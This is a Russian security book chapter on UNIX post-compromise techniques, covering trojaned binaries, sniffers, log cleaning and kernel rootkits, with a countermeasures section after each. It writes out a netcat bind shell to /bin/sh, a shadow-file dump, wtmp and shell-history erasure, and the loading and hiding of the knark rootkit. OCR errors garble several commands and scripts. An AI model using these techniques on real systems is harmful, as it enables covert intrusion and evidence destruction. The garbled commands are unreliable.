Программы типа "троянский конь"
После того как взломщик получит права суперпользователя, он может "троянизировать" практически любую команду операционной системы. Именно поэтому так важно проверять размер, а также дату и время создания и модификации всех двоичных файлов, особенно тех, которые используются чаще всего,— login, su, telnet, ftp, passwd, netstat, ifconfig, Is, ps, ssh, find, du, df, sync, reboot, halt, shutdown и т.д.
Например, часто используемым "троянским конем", входящим во многие комплекты отмычек, является "препарированная" версия программы login. Эта программа не только осуществляет регистрацию пользователей в системе, как и обычная команда login, но еще и записывает имена пользователей и пароли в отдельный файл. Существует также "препарированная" версия ssh, которая также выполняет подобные операции.
Другие программы типа "троянский конь" создают потайные ходы в систему, запуская программы, ожидающие поступления определенных данных через порт TCP и, в случае поступления таких данных, предоставляющие скрытый доступ к командной оболочке UNIX. Например, команда Is может проверять наличие ранее запущенных "троянских коней" и, если таковых не обнаруживается, запускать специальным образом подготовленную программу netcat, которая, в свою очередь, запустит оболочку /bin/sh, как только злоумышленник подключится к определенному порту. Например, в следующем примере показано, как программа netcat, запушенная в фоновом режиме, настраивается на прослушивание порта TCP с номером 222, а после подключения устанавливает ответный сеанс с помощью /bin/sh.
[tsunami]! nohup nc -1 -p 222 -nw -e /bin/sh &
listening on [any] 222 ...
Когда злоумышленник подключится к порту TCP 222, он увидит следующую информацию.
[rumble]# nc -nw 24.8.128.204 222
(UNKNOWN) [192.168.1.100] 222 (?) open
Это означает, что у него имеются все права суперпользователя и он может выполнить любую операцию, для которой нужно обладать привилегиями root, как например, показанную ниже.
cat /etc/shadow
root:ar90alrR10r41:10783:0:99999:7:-l:-l:134530596
bin:*:10639:0:99999:7:::
daemon:*:10639:0:99999:7:::
adm:*:10639:0:99999:7:::
Количество потенциальных методов внедрения "троянских коней" зависит лишь от воображения злоумышленника (которое, как правило, является весьма богатым и изощренным). Некоторые из возможных методов более подробно описаны в главе 14.
Постоянный мониторинг и тщательная инвентаризация всех открытых портов может воспрепятствовать попыткам нарушений безопасности такого рода, однако лучшим методом является предупреждение возможности модификации двоичных файлов.
Контрмеры: защита от "троянских коней"
Обнаружить программы типа "троянский конь" без соответствующих средств подчас довольно трудно. Возлагать надежды на стандартные методы, основанные на размере и дате, не приходится, поскольку опытный взломщик может создать файл, который будет иметь такой же размер, как и исходный, а также те же время и дату. Более эффективным является, например, метод, основанный на использовании программы, определяющей криптографическую контрольную сумму, с помощью которой для каждого исполняемого файла создается уникальная цифровая подпись. Эти подписи должны храниться в защищенном, недоступном для посторонних месте, например на дискете, находящейся в сейфе в специальном помещении. Программы, подобные Tripwire
(http://www.tripwire.com) и MDSsum, являются одними из самых популярных в этой категории. Они позволяют записывать уникальные подписи всех программ и однозначно обнаруживать случаи модификации исполняемых файлов злоумышленниками. Очень часто администраторы пренебрегают подсчетом контрольных сумм до тех пор, пока не выявят попыток вторжения. Очевидно, что такое решение нельзя считать идеальным. К счастью, в состав некоторых систем входят пакеты, в которых изначально встроены строгие атгоритмы хэширования. Например, во многих версиях Linux используется формат RPM (RedHat Package Manager). В спецификации RPM определен также алгоритм подсчета контрольных сумм с использованием протокола MD5. Как же все эти средства помогают противостоять опасности вторжения? С помошью проверенной копии утилиты rpm можно сгенерировать запрос к пакету, который не подвергся взлому, и получить информацию о том, были ли изменены связанные с ним двоичные файлы.
[@shadow]# rpm -Vvp ftp://ftp.redhat.com/pub/redhat/\
redhat-6.2/i386/RedHat/RPMS/fileutils-4.0-21.i386.rpm
S.5....T /bin/Is
В приведенном примере /bin/Is предстаапяет собой часть пакета утилит для работы с файлами системы RedHat 6.2. Как видно из полученных данных, файл /bin/Is был изменен (5). Это означает, что контрольная сумма двоичного файла и пакета MD5 отличается. А это является верным признаком присутствия злоумышленника.
Для систем Solaris полную базу данных контрольных сумм MD5 можно получить по адресу
http://sunsolve.sun.com/pub-cgi/fileFingerprints.pl. Эта база данных поддерживается компанией Sun. Если вы являетесь администратором системы Solaris, то она окажется чрезвычайно полезной.
Конечно, если ваша система оказалась взломанной, не пытайтесь восстановить ее с резервных копий: они наверняка также окажутся инфицированными. Для того чтобы корректно восстановить систему, ее необходимо полностью перестроить, воспользовавшись исходными носителями информации.
Анализаторы сетевых пакетов
Если злоумышленник проник в вашу систему в качестве суперпользователя — это плохо, но, возможно, еще хуже, если кто-то установил на каком-либо сетевом узле утилиту перехвата сетевых пакетов. Такие программы, называемые также анализаторами сетевых пакетов (sniffer; это название стало нарицательным от названия получившей всеобщее признание программы сетевого мониторинга, разработанной компанией Network General, которая в настоящее время является подразделением Network Associates, Inc.), можно без преувеличения назвать самыми опасными инструментами в руках злоумышленника. Это объясняется тем, что анализаторы позволяют взломщику наносить удары практически по любому компьютеру, который отправляет данные на взломанный узел, а также проникать на другие узлы сегмента локальной сети и делать с ними практически все, что заблагорассудится.
Что такое анализатор сетевых пакетов
Анализаторы изначально были разработаны как средство решения сетевых проблем. Они могут перехватывать, интерпретировать и сохранять для последующего анализа передаваемые по сети пакеты. Это дает возможность сетевым инженерам наблюдать за тем, как данные передаются по линиям связи, и устранять возникающие проблемы либо моделировать те или иные ситуации, наблюдая за прохождением пакетов на самом низком уровне. Ниже приведен пример перехвата пакетов — запись команд регистрации пользователя guest с паролем guest в сети.
-----[SYN] (slot 1)
рс6 => targets [23]
%&& #'$ANSI"!guest
guest Is
cd / Is
cd /etc
cat /etc/passwd
more hosts.equiv
more /root/.bash_history
Как и многие другие мощные средства, изначально предназначавшиеся для администрирования, с течением времени анализаторы стали применяться совсем для других целей. Можно только представить, сколько важных данных проходит за день по загруженной сети! Среди таких данных — пользовательские имена и пароли, конфиденциальные сообщения электронной почты, файлы, содержащие личную информацию, деловые отчеты и т.д. Так или иначе, если информация такого рода передается по сети, она преобразуется в биты и байты, которые с помощью анализатора могут видеть взломщики, подключившиеся в любой точке маршрута прохождения данных от отправителя до получателя.
Хотя мы подскажем, как можно защитить сетевые данные от посторонних глаз, мы надеемся, что вы поняли, почему анализаторы сетевых пакетов считаются одним из самых опасных средств, которые только могут оказаться в руках злоумышленников. Ничто не может быть безопасным в сети, в которой установлен анализатор, поскольку данные, передаваемые по линии передачи данных, по существу, всегда оказываются открытыми. Нашим любимым анализатором сетевых пакетов является dsniff
(http://www.monkey.org/~dugsong/), который можно найти по адресу
http://packetstorm.securify.com/sniffers/. Там же вы найдете и много других популярных программ-анализаторов.
Как работают анализаторы
Самый простой метод ознакомления с принципами работы анализаторов состоит в изучении тех анализаторов, которые ориентированы на сеть Ethernet. Конечно, анализаторы существуют практически для всех типов сетей, но, поскольку архитектура
Ethernet является самой распространенной, давайте сосредоточимся именно на ней. Те же самые принципы, как правило, применимы и к сетям с другой архитектурой.
Анализатор Ethernet — это программа, которая работает на уровне сетевого адаптера (NIC — Network Interface Card) и скрытно перехватывает весь поток проходящих через него данных, в том числе и те, которые не предназначены для узла, на котором этот сетевой адаптер установлен. Правда, обычно сетевой адаптер Ethernet отбрасывает все данные, не предназначенные именно ему, а также отправленные по адресу широковещательной рассылки, поэтому его нужно перевести в специальное состояние, называемое промискуитетным режимом (promiscuous mode), позволяющее получать все пакеты, проходящие по сети.
Как только аппаратные средства будут переключены в промискуитетный режим, программа-анализатор может перехватывать и анализировать любые данные, передаваемые по локальному сегменту Ethernet. Это слегка ограничивает возможности анализатора, поскольку он не может просматривать поток данных, передаваемый за пределы локального домена (другими словами, за пределы маршрутизаторов, коммутаторов и других устройств сегментации). В связи с этим очевидно, что анализатор, установленный на магистральной линии связи, обеспечивающей взаимодействие отдельных подсетей, или в другой точке соединения подсетей, сможет перехватить гораздо больше информации, чем тот, который помещен в выделенный сегмент Ethernet.
Теперь, получив общие сведения о принципах функционирования анализатора, давайте рассмотрим некоторые популярные анализаторы, а также познакомимся со способами их обнаружения.
Популярные анализаторы
В табл. 8.2 приведен не претендующий на полноту перечень инструментальных средств, с которыми нам приходилось сталкиваться и работать чаще всего на протяжении всех тех лет, которые мы посвятили деятельности по оценке уровня безопасности сетей.
Таблица 8.2. Популярныебесплатные анализаторы сетевых пакетов для UNIX
Название, авторы
|
Адрес
|
Описание
|
Sniffit, Brecht Claerhout (известен также под псевдонимом
coder)
|
http://reptile.rug.ac.be/-coder/snif fit/sniff it.html
|
Простой анализатор пакетов, работающий в Linux, SunOS, Solaris, FreeBSD и Irix
|
tcpdump 3.x, Steve McCanne, Craig Leres, Van Jaconson
|
http ://www-nrg.ее.lbl.gov/
|
Классическое средство анализа пакетов, которое было перенесено на многие платформы
|
linsniff, MikeEdulla
|
http : / /www.root shel1.com/
|
Предназначен для перехвата паролей Linux
|
solsnif f , Michael R. Widner
|
http://www.rootshell.com/
|
Тот же анализатор, модифицированный для систем Solaris 2.x компании Sun
|
dsniff
|
http: //www.monkey.org/ -dugsong
|
Один из наиболее мощных анализаторов
|
snort
|
http : / /www. snort.org
|
Очень мощный анализатор
|
Контрмеры: защита от анализаторов
Существует три основных подхода к защите от анализаторов, которые могут быть внедрены в вашу сеть или уже внедрены в нее.
Переход на сеть с коммутируемой топологией
Сети Ethernet с совместно используемыми линиями связи чрезвычайно уязвимы для анализаторов, поскольку все данные передаются по сети от узла к узлу в виде широковещательных сообщений, попадая таким образом не только на тот компьютер, которому они предназначены, но и на остальные компьютеры сегмента. Сети Ethernet с коммутируемой топологией позволяют поместить каждый узел в отдельный домен разрешения конфликтов, поэтому на сетевой адаптер того или иного узла такой сети поступают только те данные, которые предназначены этому узлу (ну и, конечно, данные, рассылаемые широковещательно). Кроме безопасности, коммутируемые сети позволяют увеличить и производительность. Учитывая, что стоимость сетевого оборудования для коммутируемых сетей не намного превышает стоимость оборудования для сетей с общей шиной, выбор последней не может быть оправдан никакими соображениями. Если бухгалтерский отдел вашей компании все же имеет иную точку зрения на эту проблему, покажите им список их паролей, перехваченных с помощью одной из приведенных выше программ. Мы уверены, что это подействует.
Несмотря на то что сеть с коммутируемой топологией позволяет предотвратить атаки неопытных взломщиков, другие злоумышленники могут без проблем прослушивать локальную сеть. Программа типа arpredirect из пакета dsniff
(http://www.monkey.org/~dugsong/dsniff/) может свести на нет все старания обеспечить безопасность с реализацией коммутируемой сетевой топологии. Более подробно программа arpredirect рассматривается в главе 10.
Обнаружение анализаторов
Существует два основных подхода к обнаружению анализаторов — на уровне узла и на уровне сети. На уровне узла самый простой метод заключается в определении того, работает ли сетевой адаптер системы в промискуитетном режиме. В системе UNIX для ответа на этот вопрос можно воспользоваться несколькими программами, включая программу Check Promiscuous Mode (cpm), разработанную специалистами университета Carnegie Mellon University (эту программу можно найти по адресу
ftp://info.cert.org/pub/tools/).
Кроме того, анализаторы отображаются в списке активных процессов и со временем, как правило, приводят к созданию файлов журналов огромного объема. Поэтому довольно простой сценарий UNIX, в котором используются команды ps, Isof и grep, может обнаружить деятельность, напоминающую работу анализатора. Однако, учитывая то, что опытные взломщики обычно стараются как можно тщательнее замаскировать процесс анализа сетевых пакетов, а также скрыть журналы в специально созданном скрытом каталоге, данный подход нельзя назвать очень эффективным.
Методы обнаружения анализаторов на уровне сети очень долго существовали только теоретически. Лишь относительно недавно они были реализованы в виде программного обеспечения. К таким средствам относится программа AntiSnifT, разработанная группой исследования безопасности
L0pht (http://www.10pht.com/). К сожалению, ее первая версия работает только под управлением системы Windows, однако технические комментарии достаточно подробны для того, чтобы создать центральный пункт, из которого можно выполнять сканирование всей сети и осуществлять в ней поиск находящихся в промискуитетном режиме сетевых адаптеров. Кроме программы AntiSnifT, в системе UNIX можно запустить программу sentinel
(http://www.packetfactory. -net/Projects/Sentinel/), которая предоставляет дополнительные возможности поиска анализаторов на уровне сети.
Шифрование (SSH, IPSec)
Давно известным методом борьбы с прослушиванием сетей является шифрование. Только шифрование на уровне получателя и отправителя может обеспечить уровень практически полной конфиденциальности. Необходимая длина ключа должна определяться на основании того, как долго данные остаются важными. Короткие ключи (длиной до 40 бит) допустимо использовать для шифрования потоков данных только в тех случаях, когда данные быстро устаревают. Кроме того, применение коротких ключей позволяет повысить производительность.
В тех случаях, когда в системе UNIX необходимо обеспечить безопасное удаленное подключение к сети, используется протокол Secure Shell (SSH). Бесплатные версии соответствующего программного обеспечения для некоммерческого использования можно найти по адресу
http://www.ssh.org/download.html, а коммерческую версию, названную F-Secure Tunnel & Terminal, которая распространяется компанией Data Fellows, — по адресу
http: //www.datafellows .com/.
В настоящее время в качестве нового стандарта предлагается протокол IPSec (IP Security Protocol), который позволяет обеспечить аутентификацию и шифрование потока данных на уровне протокола IP. Десятки компаний-разработчиков уже реализовали поддержку IPSec в своих продуктах, так что обратитесь к своему поставщику сетевого оборудования и получите у него все необходимые сведения по этому вопросу. Пользователи Linux могут обратиться по адресу
http://www.freeswan.org/intro.html, где содержатся данные о проекте FreeSWAN, и получить всю информацию о свободно распространяемой реализации протоколов IPSec и IKE, которая была разработана в рамках модели открытого кода.
Очистка системных журналов
Не желая предоставлять вам (а тем более — правоохранительным органам) каких-либо сведений о факте получения доступа к системе, взломщик, как правило, постарается очистить системные журналы от следов своего присутствия. В настоящее время существует много утилит очистки
журналов, которые в большинстве случаев входят в набор отмычек. К таким программам, в частности, относятся zap, wzap, wted и remove. Однако обычно вполне достаточно даже простого текстового редактора, такого как vi или emacs.
Конечно, при удалении следов своей деятельности первый шаг злоумышленника заключается в изменении системных журналов регистрации. Для определения соответствующей методики достаточно взглянуть на конфигурационный файл /etc/syslog.conf. Например, из показанного ниже файла syslog.conf видно, что большинство системных журналов регистрации находится в каталоге /var/log/.
[quake]# cat /etc/syslog.conf
# Регистрация всех консольных сообщений уровня ядра.
# В процессе регистрации экран сильно засоряется избыточной информацией.
#kern.* /dev/console
# Регистрация всех сообщений (кроме почтовых) уровня info или выще.
# Не пытайтесь регистрировать сообщения личной аутентификации!
#.info;mail.none;authpriv.none /var/log/messages
# Доступ к файлу authpriv ограничен.
authpriv.* /var/log/secure
# Регистрация всех почтовых сообщений в одном файле.
mail.* /var/log/maillog
# Everebody получает сообщения об опасности, плюс их регистрация
# на другой машине.
# . erne r g *
# Сохранение сообщений об ошибках почты и новостей уровня err и выше
# в специальном файле.
uucp,news.crit /var/log/spooler
Обладая этой информацией, злоумышленнику достаточно просмотреть содержимое каталога /var/log, чтобы найти в нем основные файлы журналов. Выведя на экран содержимое каталога, мы найдем в нем файлы журналов всех типов, включая сгоп, maillog, messages, spooler, secure (журналы TCP-оболочек), wtmp
и xf erlog.
Взломщику понадобится изменить много файлов, в том числе messages, secure, wtmp и xf erlog. Поскольку журнал wtmp имеет двоичный формат (и обычно используется только командой who), для его изменения взломщик, как правило, прибегнет к помощи одной из отмычек. Программа wzap предназначена специально для удаления из этого журнала информации о заданном пользователе. Для того чтобы воспользоваться этой программой, достаточно ввести, например, следующую команду.
[quake]# who./wtmp
joel ftpd!7264 Jul 1 12:09 (172.16.11.204)
root ttyl Jul 4 22:21
root ttyl Jul 9 19:45
root ttyl Jul 9 19:57
root ttyl Jul 9 21:48
root ttyl Jul 9 21:53
root ttyl Jul 9 22:45
root ttyl Jul 10 12:24
joel ttyl Jul 11 09:22
stuman ttyl Jul 11 09:42
root ttyl Jul 11 09:42
root ttyl Jul 11 09:51
root ttyl Jul 11 15:43
joel ftpd841 Jul 11 22:51 (172.16.11.205)
root ttyl Jul 14 10:05
joel ftpd3137 Jul 15 08:27 (172.16.11.205)
joel ftpd82 Jul 15 17:37 (172.16.11.205)
joel ftpd945 Jul 17 19:14 (172.16.11.205)
root ttyl Jul 24 22:14
[quake]# /opt/wzap
Enter username to zap from the wtmp: joel
opening file...
opening output file...
working...
[quake]# who ./wtmp.out
root ttyl Jul 4 22:21
root ttyl Jul 9 19:45
root ttyl Jul 9 19:57
root ttyl Jul 9 21:48
root ttyl Jul 9 21:53
root ttyl Jul 9 22:45
root ttyl Jul 10 12:24
stuman ttyl Jul 11 09:42
root ttyl Jul 11 09:42
root ttyl Jul 11 09:51
root ttyl Jul 11 15:43
root ttyl Jul 14 10:05
root ttyl Jul 24 22:14
root ttyl Jul 24 22:14
Как видно из приведенного листинга, в новом журнале (файл wtmp.out) пользователь joel отсутствует. Теперь осталось скопировать файл wtmp.out поверх файла wtmp, и взломщик сможет скрыть факт своего присутствия в системе. Некоторые программы, такие как zap (для SunOS 4.x), на самом деле меняют лишь время последней регистрации в системе (эту информацию можно увидеть, например, обратившись с запросом finger и указав в качестве параметра имя интересующего вас пользователя). Теперь осталось вручную (точнее с помощью редактора, такого как vi или emacs) модифицировать файлы журналов secure, messages и xferlog, чтобы удалить последние следы своего пребывания в системе.
Одним из последних этапов очистки журналов является удаление данных об использованных командах. Многие командные оболочки UNIX ведут журналы введенных ранее команд (history), что обеспечивает дополнительные удобства при повторном вводе команд. Например, оболочка BASH (Bourne again shell) (/bin/bash) сохраняет соответствующий файл в рабочем каталоге пользователя (во многих случаях и в каталоге пользователя root). Этот файл журнала, содержащий список недавно введенных команд, называется .bash_history. Обычно перед тем, как покинуть систему, злоумышленник очищает этот журнал. Например, в файле .bash_history может содержаться следующая информация.
tail -f /var/log/messages
vi chat-ppp0
kill -.9 1521
logout
< здесь находятся записи о регистрации злоумышленника и начале его работы >
id pwd
cat /etc/shadow » /tmp/.badstuff/sh.log
cat /etc/hosts » /tmp/.badstuff/ho.log
cat /etc/groups » /tmp/.badstuff/gr.log
netstat -na » /tmp/.badstuff/ns.log
arp -a » /tmp/.badstuff/a.log
/sbin/ifconfig » /tmp/.badstuff/if.log
find / -name -type f -perm -4000 » /tmp/.badstuff/suid.log
find / -name -type f -perm -2000 » /tmp/.badstuff/sgid.log
Вооружившись простым текстовым редактором, взломщик может удалить все эти записи. Затем, воспользовавшись командой touch, он наверняка восстановит дату и время последнего доступа к файлу. Однако обычно взломщики отключают режим регистрации вводимых команд с использованием соответствующего режима командной оболочки.
unset HISTFILE; unset SAVEHIST
Кроме того, взломщик может создать ссылку .bash_history на файл /dev/null.
[rumble]# In -s /dev/null ~/.bash_history
[rumble]# Is -1 .bash_history
Irwxrwxrwx 1 root root 9 Jul 26 22:59 .bash_history ->
/dev/null
Контрмеры: защита от очистки журналов
Файлы журналов очень важно сохранять на таком носителе, на котором их трудно было бы модифицировать. К таким носителям, в частности, относятся файловые системы, поддерживающие расширенные атрибуты, такие как флаг "только для добавления" (append-only). Таким образом, в каждый файл журнала будет только дописываться новая
информация, и злоумышленники не смогут ее изменить. Однако это вовсе не панацея, поскольку существует вероятность того, что при наличии времени, желания и соответст-вуюшего опыта злоумышленник сможет обойти этот механизм. Второй метод заключается в регистрации важных событий на защищенном узле. Одним из примеров реализации такого подхода является применение безопасной утилиты syslog компании Core Labs
(http://www.core-sdi.com/english/freesoft.html). В этой утилите алгоритмы шифрования используются наряду с возможностью удаленной регистрации событий, что позволяет защитить самые важные журналы. Помните, что если злоумышленнику удалось проникнуть в вашу систему, то к имеющимся журналам нужно относиться с осторожностью, поскольку ему ничего не стоит их подделать.
"Наборы отмычек" для модификации ядра
В предыдущих разделах были рассмотрены традиционные "наборы отмычек", с помощью которых можно модифицировать определенные файлы взломанной системы, а затем разместить в ней программы типа "троянский конь". В настоящее время такие средства несколько устарели. Современные и гораздо более разрушительные варианты "наборов отмычек" могут функционировать на уровне самого ядра операционной системы. Такие "наборы отмычек" позволяют модифицировать выполняющееся ядро UNIX и, таким образом, вводить в заблуждение все системные программы без модификации самих программ.
Обычно загружаемый модуль ядра (Loadable Kernel Module — LKM) служит для обеспечения дополнительной функциональности выполняющегося ядра без встраивания этих функций непосредственно в само ядро. Подобная возможность позволяет загружать и выгружать из оперативной памяти различные модули по необходимости, что, в свою очередь уменьшает размер выполняющейся части ядра. Таким образом, компактное ядро небольшого размера находится в оперативной памяти постоянно, а его возможности расширяются модулями, которые загружаются при необходимости. Это преимущество поддерживается многими версиями системы UNIX, в том числе Linux, FreeBSD и Solaris.
Описанным механизмом может воспользоваться злоумышленник, в результате чего он сможет полностью манипулировать системой и всеми запущенными в ней процессами. Вместо того чтобы использовать модуль LKM для загрузки драйверов устройств, например сетевого адаптера, этот модуль может применяться для перехвата системных вызовов и их модификации с целью изменения реакции системы на определенные команды. Двумя наиболее популярными "наборами отмычек" является knark (для Linux) и SLKM (Solaris Loadable Kernel Module) компании
ТHС (http://www.infowar.co.uk/thc/files/thc/ slkm-1.0. tar.gz). Мы подробно рассмотрим пакет knark
(http: //packetstorm.
securify.com/UNIX/penetration/rootkits/knark-0.59.tar.gz) ниже, а дополнительную информацию о "потайных ходах" ядра системы Solaris можно найти по адресу
http://www.infowar.co.uk/the/files/the/slkm-1.0.html/.
Пакет knark разработан хакером Кридом (Creed) и представляет собой "набор отмычек" для модификации ядра системы Linux 2.2.x. Самым важным компонентом этого пакета является модуль ядра knark. о. Для того чтобы загрузить этот модуль, нужно воспользоваться утилитой загрузки модуля ядра insmod.
[shadow]# /sbin/insmod knark.о
После этого на экране появится информация о загрузке модуля.
[shadow]# /sbin/lsmod
Module Size Used by
knark 6936 0 (unused)
nls_iso8859-l 2240 1 (autoclean)
lockd 30344 1 (autociean)
sunrpc 52132 1 (autociean) [lockd]
rt!8139 11748 1 (autociean)
Как видно из приведенного фрагмента, модуль ядра knark был успешно загружен. Кроме того, очевидно, что системному администратору не составит труда обнаружить этот модуль. Поэтому абсолютно закономерно, что взломщик захочет оставить свою деятельность незамеченной. Для того чтобы удалить данные о модуле knark из результатов, предоставляемых утилитой Ismod, злоумышленники могут воспользоваться модулем modhide.o (еще одним компонентом пакета knark)
[shadow]#/sbin/insmod modhide.o
modhide.o: init_module: Device or resource busy
[shadow]# /sbin/lsmod
Module Size Used by
nls_iso8859-I 2240 1 (autociean)
lockd 30344 1 (autociean)
sunrpc 52132 1 (autociean) [lockd]
rt!8139 11748 1 (autociean)
Теперь, после повторного запуска утилиты Ismod, модуль knark таинственным образом "исчезнет" из поля зрения администратора.
К другим интересным утилитам, входящим в состав пакета knark, относятся следующие.
- hidef. Используется для сокрытия файлов.
- unhidef. Служит для отображения скрытых файлов.
- ered. Применяется для настройки команды ехес, используемой для перенаправления ввода-вывода. Благодаря этому вместо исходных версий утилит могут выполняться программы типа "троянский конь".
- nethide. С помощью этой утилиты можно скрыть записи в файлах /proc/net./tcp и /proc/net/udp. Именно из этих файлов получает информацию утилита netstat. Указанные данные злоумышленник может использовать для сокрытия входящих/исходящих соединений взломанной системы.
- taskhack. Эта утилита позволяет изменить идентификаторы UID и GID запущенных процессов. Таким образом, взломщик в любой момент может изменить владельца процесса /bin/sh (выполняющегося с привилегиями обычного пользователя) и сделать его владельцем пользователя root (с UID 0).
- rехес. Эта утилита применяется для удаленного выполнения команд на сервере, на котором установлен пакет knark. Она обеспечивает возможность использования ложного исходного адреса, что позволяет выполнять команды без выявления их источника.
- rootme. Эта утилита позволяет получить доступ с привилегиями root без использования профамм SUID. Из приведенного ниже фрагмента видно, насколько просто это осуществить.
[shadow]$ rootme /bin/sh
rootme.с by Creed @ #hack.se 1999 creed@sekure.net
Do you feel lucky today, haxOr?
bash#
Группа программистов и специалистов по вопросам безопасности Teso разработала еще один вариант ятра под названием Adore, который можно найти по адресу
http://teso.scene, at/releases/adore-0 .14. tar. gz. По возможностям эта программа не уступает пакету knark. Ниже представлены некоторые параметры командной строки.
[shadow]$ ava
Использование: ./ava {h,u,r,i,v,0} [имя-файла, PID или dummy (для
параметра 'U')]
h скрыть файл
u отобразить файл
r выполнить с привилегиями root
U удалить adore
i сделать PID скрытым
v сделать PID видимым
Если приведенных выше сведений оказалось недостаточно, то прочитайте статью Сильвио Чезаре (Silvio Cesare), в которой рассматриваются аналогичные средства, позволяющие "на лету" модифицировать выполняющееся в оперативной памяти ядро в системах с "потайным ходом", в которых отсутствует поддержка модулей LK.M. Эту статью и описываемые в ней средства можно найти по адресу
http://www.big.-net.au/~silvio/runtime-kernel-kmem-patching.txt. И наконец, Джоб Де Хаас (Job De Haas) выполнил огромную работу по исследованию методов взлома ядра системы Solaris. Часть написанного им кода можно найти по адресу
http://www. itsx.com/kernmod-0.2.tar.gz.
Контрмеры: защита от средств модификации ядра
Как следует из приведенных сведений, "наборы отмычек" для модификации ядра могут оказаться чрезвычайно разрушительными и трудными для выявления. При этом в процессе обнаружения таких средств нельзя доверять ни одной программе и даже самому ядру. В случае взлома ядра окажутся бесполезными и утилиты подсчета контрольных сумм, такие как Tripwire. Одним из возможных способов обнаружения пакета knark заключается в использовании самого пакета. Поскольку с его помощью взломщик может скрыть любой процесс, воспользовавшись командой kill -31 и указав его идентификатор PID, ничто не мешает сделать любой процесс снова видимым. Для этого можно воспользоваться командой kill -32. Вот простой сценарий оболочки, который передает этот сигнал каждому процессу.
# ! /bin/sh rm pid S=l
while [ $S -It 10000 j do
if kill -32 $S; then echo "$S" » pid
fi S=expr $3+1'
Done
He забывайте о том, что kill -31 и kill -32 являются настраиваемыми командами пакета knark. Так что опытный взломщик может изменить эти параметры, чтобы избежать обнаружения своей деятельности. Однако вместе с тем вполне возможно, что другие злоумышленники воспользуются параметрами, заданными по умолчанию.
В качестве самой лучшей контрмеры мы всегда рекомендуем предупреждение подобных нападений. Использование такой программы, как LIDS (Linux Intrusion Detection System — система выявления вторжений Linux), является наилучшей превентивной мерой в системе Linux. Ее можно получить по адресу
www.lids.org. Программа LIDS предоставляет следующие возможности.
- Предотвращение модификации ядра.
- Предотвращение загрузки и выгрузки
модулей ядра из оперативной памяти.
- Возможность использования
расширенных атрибутов файлов immutable (постоянный)
и append-only ("только для добавления").
- Блокирование совместно используемых
сегментов памяти.
- Защита от манипулирования
идентификаторами процессов (PID).
- Защита важных файлов в каталоге /dev/.
- Обнаружение попыток сканирования
портов.
Программа LIDS представляет собой модуль обновления ядра. Ее необходимо применять к существующему исходному коду ядра, который затем должен быть перестроен. После установки LIDS воспользуйтесь командой lidsadm, чтобы защитить ядро от возможных манипуляций с загружаемыми модулями. Вот что произойдет после установки программы LIDS, если попытаться запустить утилиту knark.
[shadow]# insmod knark.о
Command terminated on signal 1.
После анализа файла журнала /var/log/messages становится очевидным, что программа LIDS позволяет не только выявить попытку загрузки модуля, но и практически их предотвращает.
Jul 9 13:32:02 shadow kernel: LIDS: insmod (3 1 inode 58956) pid 700
user (0/0)
on ptsO: CAP_SYSjyiODULE violation: try to create module knark
При использовании систем, отличных от Linux, нужно рассмотреть возможность отключения поддержки модулей LKM, что позволит обеспечить более высокий уровень безопасности. Конечно, подобный подход является не очень элегантным, однако он все же позволит предотвратить попытки применения описанных выше средств.
|